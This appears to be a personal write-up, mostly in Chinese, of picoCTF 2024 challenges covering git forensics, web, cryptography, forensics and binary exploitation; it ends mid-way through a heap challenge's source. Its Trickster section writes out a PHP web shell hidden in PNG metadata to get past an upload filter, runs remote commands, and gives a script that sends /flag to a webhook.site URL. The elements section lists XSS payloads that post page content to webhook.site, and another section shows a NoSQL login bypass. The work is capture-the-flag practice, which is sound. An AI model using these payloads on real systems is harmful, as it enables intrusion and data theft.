picoCTF 2024 writeup

Table of Contents

[TOC]

picoCTF

https://play.picoctf.org/events/73/ image

image image

General Skills (10)

image

Time Machine

image

Time Machine Solution

在解壓縮後的zip路徑: \drop-in.git\COMMIT_EDITMSG image

Get FLAG

FLAG: picoCTF{t1m3m@ch1n3_5cde9075}

Commitment Issues

image

Commitment Issues Solution

● 在refs/heads/master 下看到 image

十六進制字串
a6dca68e4310585eac3b5c9caf0f75967dfe972c

● logs/refs\heads/logs/HEAD 看到git log image

0000000000000000000000000000000000000000 e720dc26a1a55405fbdf4d338d465335c439fb3e picoCTF <ops@picoctf.com> 1710018606 +0000	commit (initial): create flag
e720dc26a1a55405fbdf4d338d465335c439fb3e a6dca68e4310585eac3b5c9caf0f75967dfe972c picoCTF <ops@picoctf.com> 1710018606 +0000	commit: remove sensitive info

1. 查看git log

git log

image

可以看到他的編輯紀錄

2.1 還原Git 版本

git reset --hard e720dc26a1a55405fbdf4d338d465335c439fb3e

image

cat message.txt

image

2.2 查看Git 詳細資訊

git show

image

Get FLAG

FLAG: picoCTF{s@n1t1z3_7246792d}

image

ssh -p 59360 ctf-player@atlas.picoctf.net

image

Binary Search Solution

guessing_game.sh

            #!/bin/bash

            # Generate a random number between 1 and 1000
            target=$(( (RANDOM % 1000) + 1 ))

            echo "Welcome to the Binary Search Game!"
            echo "I'm thinking of a number between 1 and 1000."

            # Trap signals to prevent exiting
            trap 'echo "Exiting is not allowed."' INT
            trap '' SIGQUIT
            trap '' SIGTSTP

            # Limit the player to 10 guesses
            MAX_GUESSES=10
            guess_count=0

            while (( guess_count < MAX_GUESSES )); do
                read -p "Enter your guess: " guess

                if ! [[ "$guess" =~ ^[0-9]+$ ]]; then
                    echo "Please enter a valid number."
                    continue
                fi

                (( guess_count++ ))

                if (( guess < target )); then
                    echo "Higher! Try again."
                elif (( guess > target )); then
                    echo "Lower! Try again."
                else
                    echo "Congratulations! You guessed the correct number: $target"

                    # Retrieve the flag from the metadata file
                    flag=$(cat /challenge/metadata.json | jq -r '.flag')
                    echo "Here's your flag: $flag"
                    exit 0  # Exit with success code
                fi
            done

            # Player has exceeded maximum guesses
            echo "Sorry, you've exceeded the maximum number of guesses."
            exit 1  # Exit with error code to close the connection
      

猜數字,猜的次數<10

開始猜

image

猜對了

Get FLAG

FLAG: picoCTF{g00d_gu355_3af33d18}

dont-you-love-banners

image

dont-you-love-banners Solution

Web Exploitation (7)

image

Bookmarklet

image http://titan.picoctf.net:57091/ image

Bookmarklet Solution

(function() {
    // 加密的flag
    var encryptedFlag = "àÒÆÞ¦È¬ë٣֖ÓÚåÛÑ¢Õӗ¨Í•ÕĦ–í";
    // 解密密鑰
    var key = "picoctf";
    // 初始化一個空字串(存解密後的flag)
    var decryptedFlag = "";
    for (var i = 0; i < encryptedFlag.length; i++) {
        // 使用密鑰解密每個字元
        // 將密鑰的字符代碼(模除密鑰長度)從加密的旗幟的字符代碼中減去
        // 添加 256 以確保得到正數結果,然後取模 256 以處理溢出
        // 將結果的字符代碼轉換回字符並附加到解密後的旗幟字符串中
        decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
    }
    
    alert(decryptedFlag);
})();

JavaScript Online Compiler image

GET FLAG

FLAG: picoCTF{p@g3_turn3r_18d2fa20}

WebDecode

image http://titan.picoctf.net:60527/ image

WebDecode Solution

● ABOUT: http://titan.picoctf.net:60527/about.html image

● CONTACT: http://titan.picoctf.net:60527/contact.html image

在ABOUT頁面中: image

出現一個詭異的編碼 notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9"

Base64 decode

image

GET FLAG

FLAG: picoCTF{web_succ3ssfully_d3c0ded_10f9376f}

Unminify

image http://titan.picoctf.net:53048/ image

Unminify Solution

image

GET FLAG

FLAG: picoCTF{pr3tty_c0d3_ed938a7e}

IntroToBurp

image http://titan.picoctf.net:57361/ image

IntroToBurp Solution

1. Register

image

POST / HTTP/1.1
Host: titan.picoctf.net:57361
Content-Length: 188
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:57361
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:57361/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=eyJjc3JmX3Rva2VuIjoiZDRkNGY0OWIzNGZlZTE1N2ZjYWZiNzg1MDE5MDlhYzlkNGY4MGU5ZiJ9.ZfFznQ.rwy8ZPK9maIGuieHtAEI2UBZFCs
Connection: close

csrf_token=ImQ0ZDRmNDliMzRmZWUxNTdmY2FmYjc4NTAxOTA5YWM5ZDRmODBlOWYi.ZfFznQ.eUroAAc2CNChLpWbuoq8_ZBCK3g&full_name=chw&username=chw&phone_number=0909&city=taipei&password=chw&submit=Register
GET /dashboard HTTP/1.1
Host: titan.picoctf.net:57361
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:57361/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=.eJxNjM0KwyAQhN_Fcw-GrsTty4g_u0SaqKghlNJ3755KbzPfx8xbxTxf6qGmz42yuqk4OrtZn1SEJkjAgOEOTLSYlaPnsFqjF9ToI4q1mpBlx-e-u-IPklncLiF1NskIYKyR2vwYV-3p59tWC7lyHoG6QC2XQs9B_e_m8wUAfzIB.ZfF0TA.lnPFakYpokwVTkgYfY9SblOyskA
Connection: close

問題不在這

2. 2fa authentication

http://titan.picoctf.net:65271/dashboard image

image

POST /dashboard HTTP/1.1
Host: titan.picoctf.net:65271
Content-Length: 10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:65271
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:65271/dashboard
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=.eJxNzM0KwyAQBOB38dyDa9XUvozoZiWhiQZ_CKH03bu99Tbzwcxb4Nov8RQ9rAet4iaw1eR7eVFmtWAAZowAxumExhk7kcZJgZplCGkio3REy7s0ts3nsBPPcDlZSj84G2WlfXA9QmtnqTMbqPsPlpLJ57FHqozSScc6GtW_m88XdvAwbg.ZfGUow.ViJwEkvW_SJmGF3Kj5eygAII60k
Connection: close

otp=chwchw

3. 刪除OTP請求

image

GET FLAG

FLAG:picoCTF{#0TP_Bypvss_SuCc3$S_e1eb16ed}

No Sql Injection

image http://atlas.picoctf.net:61553/ image

Source Code: https://artifacts.picoctf.net/c_atlas/29/app.tar.gz

No Sql Injection Solution

● 在app/utild/see.ts image

找到可登入的USER

● 在app/api/login/route.ts 找到 /admin image

http://atlas.picoctf.net:61553/admin image

● 在app/models/user.ts 找到flag位置

user.ts

const UserSchema: Schema = new Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false ,default: "{{Flag}}"},
});
const User = models.User || mongoose.model<UserInterface>("User", UserSchema);

FLAG 在User 的token中

NoSQL injection

參考資料: PortSwigger: NoSQL injection NoSQL injection - HackTricks

1. 繞過驗證

:::info Authentication bypass 在 MongoDB 中 $ne: 代表 "not equal",用於篩選出某個欄位的值不等於指定值的文件(或記錄)。 $gt: 代表 "greater than",用於篩選出某個欄位的值大於指定值的文件(或記錄)。 :::

POST /api/login/ HTTP/1.1
Host: atlas.picoctf.net:61553
Content-Length: 60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://atlas.picoctf.net:61553
Referer: http://atlas.picoctf.net:61553/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"email":"joshiriya355@mumbama.com","password":{"$ne":  ""}}

使用see.ts找到的USER: joshiriya355@mumbama.com password 不等於 ""(空白)

可繞過驗證,進到 /admin 沒有幫助

2. \ "繞過特殊字元

" 在MongoDB屬於特殊字元,可用\ bypass

POST /api/login HTTP/1.1
Host: atlas.picoctf.net:61553
Content-Length: 58
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://atlas.picoctf.net:61553
Referer: http://atlas.picoctf.net:61553/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"email":"{\"$ne\":  \"\"}","password":"{\"$ne\":  \"\"}"}

image

HTTP/1.1 200 OK
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
content-type: text/plain;charset=UTF-8
date: Thu, 14 Mar 2024 10:19:36 GMT
connection: close
Content-Length: 237

[{"_id":"65f08d5715535af6a1394524","email":"joshiriya355@mumbama.com","firstName":"Josh","lastName":"Iriya","password":"Je80T8M7sUA","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uX2UzMWVmMzI0fQ==","__v":0}]

GET FLAG

cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uX2UzMWVmMzI0fQ==

(Base64 Decode) image

FLAG:picoCTF{#0TP_Bypvss_SuCc3$S_e1eb16ed}

Trickster

image http://atlas.picoctf.net:63080/ image

Trickster Solution

上傳成功只會顯示:

File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully

● HxD - bypass file signature png: 89 50 4E 47 0D 0A 1A 0A jpg: FF D8 FF DB

Note: [Web] Computer Security 2023 Fall Course

1. 嘗試生成pico.png.php並塞入command

 echo '<?php system($_GET["cmd"]); ?>' > pico.png.php

Upload pico.png.php

POST / HTTP/1.1
Host: atlas.picoctf.net:57707
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://atlas.picoctf.net:57707
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt9J5rgW4kHlekX93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://atlas.picoctf.net:57707/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundaryt9J5rgW4kHlekX93
Content-Disposition: form-data; name="~~file~~ image_file"; filename="pico.png.php"
Content-Type: application/~~octet-stream~~ image/png
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundaryt9J5rgW4kHlekX93--

image

跳出的Warning,可以得知系統用PHP寫的

2. 透過upload php POST Webhook

<?php
// 讀取 /flag 文件的内容
$flag_content = file_get_contents('/flag');

// 檢查是否成功讀取 flag
if ($flag_content !== false) {
    $data = array('flag' => $flag_content);
    $url = 'https://webhook.site/b7887e11-230d-4cac-a3e6-372071c3f2d5';

    // 初始化 cURL
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);

    if ($response === false) {
        echo 'Error: ' . curl_error($ch);
    } else {
        echo 'Flag sent successfully!';
        echo 'Server response: ' . $response;
    }

    curl_close($ch);
} else {
    echo 'Failed to read flag file.';
}
?>

:question: 可以把png嵌入php上傳,但php無法執行。

3. Dirsearch Tools

dirsearch -u http://atlas.picoctf.net:64632/

image

看到 /uploads 路徑 301

4. png 塞入php後門

:::info 常見的上傳檔案格式判斷

(1) HTML顯示 only png,內部沒有過濾

$filename = basename($_FILES['image_file']['name']);

(2) 判斷filename

$filename = basename($_FILES['image_file']['name']);
$extension = strtolower(explode(".", $filename)[1]);
if (!in_array($extension, ['png', 'jpeg', 'jpg']) !== false)

(3)判斷filename & file information

$filename = basename($_FILES['image_file']['name']);
$extension = strtolower(explode(".", $filename)[1]);
if (!in_array($extension, ['png', 'jpeg', 'jpg']) !== false)
使用者上傳檔案時,getimagesize取得圖像檔案的資訊
list($_, $_, $type) = getimagesize($_FILES['image_file']['tmp_name']);
if (in_array($_FILES['image_file']['type'], ["image/png", "image/jpeg", "image/jpg"]) === false)

:::

exiftool -Comment='<?php system($_GET["cmd"]); ?>' CTF.png
mv CTF.png CTF.png.php

image

(UPLOAD) 更改Content-Type: image/png image

http://atlas.picoctf.net:64632/uploads/CTF.png.php

4. RCE & Find flag

http://atlas.picoctf.net:55476/uploads/CTF.png.php?cmd=ls /
http://atlas.picoctf.net:55476/uploads/CTF.png.php?cmd=find%20/%20-type%20f%20-name%20flag*

image

找不到

http://atlas.picoctf.net:55476/uploads/CTF.png.php?cmd=cat%20../MQZWCYZWGI2WE.txt

image

最後在 ../MQZWCYZWGI2WE.txt 找到

GET FLAG

FLAG:picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_d3ac625b}

elements

image http://rhea.picoctf.net:59823/

image

elements Solution

Code Review

● index.js

// this entire thing is basically a knockoff of infinite craft
// https://neal.fun/infinite-craft/

const onlineHost = 'https://elements.attest.lol'; //主機位址

const buttons = document.getElementById('elements'); //取得來自HTML的elements

// these were all generated by ai, yes they have some really weird results
const recipes = [["Ash","Fire","Charcoal"],["Steam Engine","Water","Vapor"],["Brick Oven","Heat Engine","Oven"],["Steam Engine","Swamp","Sauna"],["Magma","Mud","Obsidian"],["Earth","Mud","Clay"],["Volcano","Water","Volcanic Rock"],["Brick","Fog","Cloud"],["Obsidian","Rain","Black Rain"],["Colorful Pattern","Fire","Rainbow Fire"],["Cloud","Obsidian","Storm"],["Ash","Obsidian","Volcanic Glass"],["Electricity","Haze","Static"],["Fire","Water","Steam"],["Dust","Rainbow","Powder"],["Computer Chip","Steam Engine","Artificial Intelligence"],["Fire","Mud","Brick"],["Hot Spring","Swamp","Sulfur"],["Adobe","Graphic Design","Web Design"],["Colorful Interface","Data","Visualization"],["IoT","Security","Encryption"],["Colorful Pattern","Mosaic","Patterned Design"],["Earth","Steam Engine","Excavator"],["Cloud Computing","Data","Data Mining"],["Earth","Water","Mud"],["Brick","Fire","Brick Oven"],["Colorful Pattern","Obsidian","Art"],["Rain","Steam Engine","Hydropower"],["Colorful Display","Graphic Design","Colorful Interface"],["Fire","Mist","Fog"],["Exploit","Web Design","XSS"],["Computer Chip","Hot Spring","Smart Thermostat"],["Earth","Fire","Magma"],["Air","Earth","Dust"],["Cloud","Rainbow","Rainbow Cloud"],["Dust","Heat Engine","Sand"],["Obsidian","Thunderstorm","Lightning Conductor"],["Cloud","Rain","Thunderstorm"],["Adobe","Cloud","Software"],["Hot Spring","Rainbow","Colorful Steam"],["Dust","Fire","Ash"],["Cement","Swamp","Marsh"],["Hot Tub","Mud","Mud Bath"],["Electricity","Glass","Computer Chip"],["Ceramic","Fire","Earthenware"],["Haze","Swamp","Fog Machine"],["Rain","Rainbow","Colorful Display"],["Brick","Water","Cement"],["Dust","Haze","Sandstorm"],["Ash","Hot Spring","Geothermal Energy"],["Ash Rock","Heat Engine","Mineral"],["Electricity","Software","Program"],["Computer Chip","Fire","Data"],["Colorful Pattern","Swamp","Algae"],["Fog","Water","Rain"],["Rainbow Pool","Reflection","Color Spectrum"],["Artificial Intelligence","Data","Encryption"],["Internet","Smart Thermostat","IoT"],["Cinder","Heat Engine","Ash Rock"],["Brick","Swamp","Mudbrick"],["Computer Chip","Volcano","Data Mining"],["Obsidian","Water","Hot Spring"],["Computer Chip","Thunderstorm","Power Surge"],["Brick","Obsidian","Paving Stone"],["User Input","Visualization","Interactive Design"],["Mist","Mud","Swamp"],["Geolocation","Wall","Map"],["Air","Rock","Internet"],["Computer Chip","Rain","Email"],["Fire","Rainbow","Colorful Flames"],["Hot Spring","Mineral Spring","Healing Water"],["Ceramic","Volcano","Lava Lamp"],["Brick Oven","Wall","Fireplace"],["Glass","Software","Vulnerability"],["Fog","Mud","Sludge"],["Fire","Marsh","S'mores"],["Artificial Intelligence","Data Mining","Machine Learning"],["Ash","Brick","Brick Kiln"],["Fire","Obsidian","Heat Resistant Material"],["Hot Spring","Sludge","Steam Engine"],["Artificial Intelligence","Computer Chip","Smart Device"],["Fire","Steam Engine","Heat Engine"],["Ash","Earth","Cinder"],["Rainbow","Reflection","Refraction"],["Encryption","Software","Cybersecurity"],["Graphic Design","Mosaic","Artwork"],["Colorful Display","Data Mining","Visualization"],["Hot Spring","Water","Mineral Spring"],["Rainbow","Swamp","Reflection"],["Air","Fire","Smoke"],["Program","Smart HVAC System","Smart Thermostat"],["Haze","Obsidian","Blackout"],["Brick","Earth","Wall"],["Heat Engine","Steam Locomotive","Railway Engine"],["Ash","Thunderstorm","Volcanic Lightning"],["Mud","Water","Silt"],["Colorful Pattern","Hot Spring","Rainbow Pool"],["Fire","Sand","Glass"],["Art","Web Design","Graphic Design"],["Internet","Machine Learning","Smart HVAC System"],["Electricity","Power Surge","Overload"],["Colorful Pattern","Computer Chip","Graphic Design"],["Air","Water","Mist"],["Brick Oven","Cement","Concrete"],["Artificial Intelligence","Cloud","Cloud Computing"],["Computer Chip","Earth","Geolocation"],["Color Spectrum","Graphic Design","Colorful Interface"],["Internet","Program","Web Design"],["Computer Chip","Overload","Circuit Failure"],["Data Mining","Geolocation","Location Tracking"],["Heat Engine","Smart Thermostat","Smart HVAC System"],["Brick","Mud","Adobe"],["Cloud","Dust","Rainbow"],["Hot Spring","Obsidian","Hot Tub"],["Steam Engine","Volcano","Geothermal Power Plant"],["Earth","Fog","Haze"],["Brick","Steam Engine","Steam Locomotive"],["Brick","Colorful Pattern","Mosaic"],["Hot Spring","Steam Engine","Electricity"],["Ash","Volcano","Volcanic Ash"],["Electricity","Water","Hydroelectric Power"],["Brick","Rainbow","Colorful Pattern"],["Silt","Volcano","Lava"],["Computer Chip","Software","Program"],["Hot Spring","Thunderstorm","Lightning"],["Ash","Clay","Ceramic"],["Cybersecurity","Vulnerability","Exploit"],["Ash","Heat Engine","Ash Residue"],["Internet","Smart Device","Cloud Computing"],["Magma","Mist","Rock"],["Interactive Design","Program","Smart Device"],["Computer Chip","Electricity","Software"],["Colorful Pattern","Graphic Design","Design Template"],["Fire","Magma","Volcano"],["Earth","Obsidian","Computer Chip"],["Geolocation","Location Tracking","Real-Time Positioning"]];

const elements = new Map([["Sauna","💦"],["Railway Engine","🚂"],["Clay","🎨"],["Geolocation","📍"],["Colorful Steam","💨"],["Sand","🏖️"],["Visualization","📈"],["Heat Engine","🔩"],["Steam Locomotive","🚂"],["Patterned Design","🎨"],["Smoke","💨"],["Brick","🏠"],["Sandstorm","🌪️"],["Hot Tub","🛀"],["Cybersecurity","🔒"],["Lightning","⚡"],["Fireplace","🔥"],["Fog Machine","💨"],["Mud Bath","🛀"],["Earthenware","🍽️"],["Web Design","💻"],["Dust","🌀"],["Design Template","📋"],["Ceramic","🎨"],["Sulfur","💨"],["Algae","🌱"],["Computer Chip","💻"],["Rainbow Pool","🏊‍♀️"],["Internet","💻"],["Thunderstorm","🌩️"],["Cement","🏭"],["Data","📊"],["Oven","🍞"],["Geothermal Energy","🌋"],["Static","💭"],["Brick Oven","🍞"],["Mud","💦"],["Steam","🚂"],["S'mores","🍪"],["Graphic Design","🖋️"],["Art","🎨"],["Geothermal Power Plant","🌋"],["Circuit Failure","💣"],["Earth","🌍"],["Real-Time Positioning","📍"],["Power Surge","💥"],["Smart HVAC System","💻"],["Mosaic","🎨"],["Mudbrick","🏰"],["Smart Device","📱"],	['Security', '🔒'],['User Input', '📱'],["Vulnerability","🚨"],["Ash Residue","💔"],["Rock","🤘"],["Vapor","💨"],["Healing Water","💧"],["Excavator","🚧"],["Map","🗺️"],["Fire","🔥"],["Heat Resistant Material","🔥"],["Mist","💨"],["Air","💨"],["Swamp","🌿"],["Water","💧"],["IoT","📱"],["Hydropower","💧"],["Hydroelectric Power","💧"],["Reflection","💭"],["Volcano","🌋"],["Data Mining","💻"],["Smart Thermostat","💻"],["Storm","🌪️"],["Black Rain","🌩️"],["Rain","🌧"],["Blackout","💔"],["Haze","💨"],["Location Tracking","📍"],["Software","📊"],["Adobe","📢"],["Color Spectrum","🎨"],["Exploit","💰"],["Electricity","💡"],["Silt","🌀"],["Marsh","🐢"],["Glass","🍷"],["Volcanic Glass","🌋"],["Refraction","🔍"],["Colorful Display","🎨"],["Program","📊"],["Fog","🌫️"],["Steam Engine","🚂"],["Lava Lamp","💡"],["Cloud","☁️"],["Mineral Spring","💧"],["XSS","😈"],["Magma","🔥"],["Sludge","💢"],["Overload","😩"],["Mineral","💎"],["Volcanic Lightning","🌋"],["Ash Rock","🔥"],["Ash","🔥"],["Rainbow","🌈"],["Rainbow Cloud","🌈"],["Concrete","🏛️"],["Volcanic Rock","🌋"],["Artificial Intelligence","🤖"],["Powder","💨"],["Colorful Pattern","🎨"],["Cinder","👠"],["Interactive Design","📱"],["Machine Learning","🤖"],["Lightning Conductor","⚡"],["Hot Spring","🛀"],["Colorful Interface","🎨"],["Cloud Computing","💻"],["Rainbow Fire","🔥"],["Charcoal","🔥"],["Encryption","🔒"],["Volcanic Ash","🌋"],["Brick Kiln","🏭"],["Email","📧"],["Obsidian","🔥"],["Wall","🏰"],["Lava","🔥"],["Colorful Flames","🔥"],["Paving Stone","🛠️"],["Artwork","🎨"]]);

const cache = new Map(); //存儲已經查詢過的合成結果,減少重複查詢

let found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨']]); 

if (localStorage.getItem('found')) {
	found = new Map(JSON.parse(localStorage.getItem('found')));
} //若玩家找到的elements

let onlineMode = false;

let state = {};

(async () => {
	try {
		await fetch(`${onlineHost}/status`); //GET /status
		onlineMode = localStorage.getItem('online') ?? false;
		document.getElementById('online-enabled').checked = onlineMode;
		document.getElementById('online-enabled').onchange = () => {
			if (localStorage.getItem('online') === null) {
				alert("NOTE: Online mode exists purely for fun and is not part of the challenge solution. You should not attempt to hack the online mode server.\nPlease don't ruin the fun for everyone else by trying to abuse online mode!\nYou and your team WILL be disqualified if you're found to be trying to attack the server in any way.\nYOU HAVE BEEN WARNED!")
			}
			onlineMode = document.getElementById('online-enabled').checked;
			localStorage.setItem('online', onlineMode);
		}
		document.getElementById('online').removeAttribute('hidden');
	} catch(e) {}
})();
//search功能
document.getElementById('search').onkeyup = () => {
	for (const element of document.getElementsByClassName('element')) {
		if (!element.innerText.toLowerCase().includes(document.getElementById('searchbox').value.toLowerCase())) {
			element.setAttribute('hidden', true);
		} else {
			element.removeAttribute('hidden');
		}
	}
}

const evaluate = (...items) => {
	const [a, b] = items.sort();
	for (const [ingredientA, ingredientB, result] of recipes) {
		if (ingredientA === a && ingredientB == b) {
			if (result === 'XSS' && state.xss) {
				eval(state.xss);
			}
			return result;
		}
	}
	return null;
}

const colliding = (elementA, elementB) => {
	const [a, b] = [elementA.getBoundingClientRect(), elementB.getBoundingClientRect()];
	return a.right >= b.left && a.left <= b.right && a.bottom >= b.top && a.top <= b.bottom;
} //檢查elementA與elementB 碰撞

const hash = (...args) => JSON.stringify(args); //生成json字串

.......

	if (url.pathname === '/') {
		res.setHeader('Content-Type', 'text/html');
		return res.end(html);
	} else if (url.pathname === '/index.js') {
		res.setHeader('Content-Type', 'text/javascript');
		return res.end(js);
	} else if (url.pathname === '/remoteCraft') {
		try {
			const { recipe, xss } = JSON.parse(url.searchParams.get('recipe'));
			assert(typeof xss === 'string');
			assert(xss.length < 300);
			assert(recipe instanceof Array);
			assert(recipe.length < 50);
			for (const step of recipe) {
				assert(step instanceof Array);
				assert(step.length === 2);
				for (const element of step) {
					assert(typeof xss === 'string');
					assert(element.length < 50);
				}
			}
			visit({ recipe, xss });
		} catch(e) {
			console.error(e);
			return res.writeHead(400).end('invalid recipe!');
		}
		return res.end('visiting!');
	}

	return res.writeHead(404).end('not found');
}).listen(8080);
  1. 'xss': 是字串。長度小於 300 個字元。
  2. 'recipe' 是陣列。長度小於 50 個元素,確認每個步驟是一個長度為 2 的陣列。步驟中的元素長度小於 50 個字元。

● index.mjs

import { createServer } from 'node:http';
import assert from 'node:assert';
import { spawn } from 'node:child_process';
import { mkdir, mkdtemp, writeFile, rm, readFile } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';

const sleep = delay => new Promise(res => setTimeout(res, delay));

const html = await readFile('static/index.html', 'utf-8');
const js = await readFile('static/index.js', 'utf-8');
const flag = await readFile('flag.txt', 'utf-8');

let visiting = false;

...處理瀏覽器訪問...
http://rhea.picoctf.net:52830/remoteCraft?recipe={"recipe":[["Fire","Water"]]}

>> invalid recipe!
偽造recipe 讓他丟出/flag.txt
http://rhea.picoctf.net:52830/remoteCraft?recipe={"recipe":[["Fire","Water"]],"xss":"fetch('/flag.txt').then(response => response.text()).then(data => alert(data));"}

/remoteCraft?recipe={"recipe":[["Fire","Water"]],"xss":"alert(fetch('/flag.txt'))"}

/remoteCraft?recipe={"recipe":[["Fire","Water"]],"xss":["alert(fetch('http://127.0.0.1:8080/flag.txt').then(response => response.text()).then(data => alert(data)));"]}

/remoteCraft?recipe={"recipe":[["Fire","Water"]],"xss":"fetch('https://webhook.site/89a33e4d-1e15-48e6-bdb8-0df74726398b', { method: 'POST', body: JSON.stringify({ flag: document.querySelector('body').innerText }) })"}

/remoteCraft?recipe={"recipe":[["Fire","Water"]],"xss":"encodeURIComponent("fetch('/flag.txt').then(response => response.text()).then(data => alert(data));")"}

https://github.com/satoki/ctf_writeups/tree/master/picoCTF_2024/elements?ref=blog.qz.sg

Cryptography (5)

image

interencdec

image

interencdec Solution

enc_flag image

YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6YzRNalV3YUcxcWZRPT0nCg==

"==" 疑似Base64 ● Base64 decode image

b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ=='

● Base64 double decode image

wpjvJAM{jhlzhy_k3jy9wa3k_78250hmj}

● Caesar Decoder https://www.dcode.fr/caesar-cipher image

GET FLAG

FLAG:picoCTF{caesar_d3cr9pt3d_78250afc}

Forensics (8)

Scan Surprise

image

Scan Surprise Solution

flag.png image

https://www.google.com/search?q=picoCTF%7Bp33k_%40_b00_b5ce2572%7D&ie=UTF-8&oe=UTF-8&hl=en-us&client=safari

GET FLAG

FLAG:picoCTF{p33k_@_b00_b5ce2572}

Verify

image

ssh -p 57179 ctf-player@rhea.picoctf.net

Verify Solution

CanYouSee

image ukn_reality.jpg image

Secret of the Polyglot

image

flag2of2-final.pdf image

Secret of the Polyglot Solution

cp flag2of2-final.pdf flag2of2-final.png

image

OPEN PNG file

image

GET FLAG

FLAG:picoCTF{f1u3n7_1n_pn9_&_pdf_249d05c0}

Mob psycho

image

mobpsycho.apk image

Mob psycho Solution

unzip mobpsycho.apk

image

find flag file

image

7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f38356462643231357d

HEX convert to ASCII

image

GET FLAG

FLAG:picoCTF{ax8mC0RU6ve_NX85l4ax8mCl_85dbd215}

Binary Exploitation (10)

format string 0

image

nc mimas.picoctf.net 62743

image

format string 0 Solution

image

GET FLAG

FLAG:picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

heap 0

image

nc tethys.picoctf.net 54484

image

heap 0 Solution

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
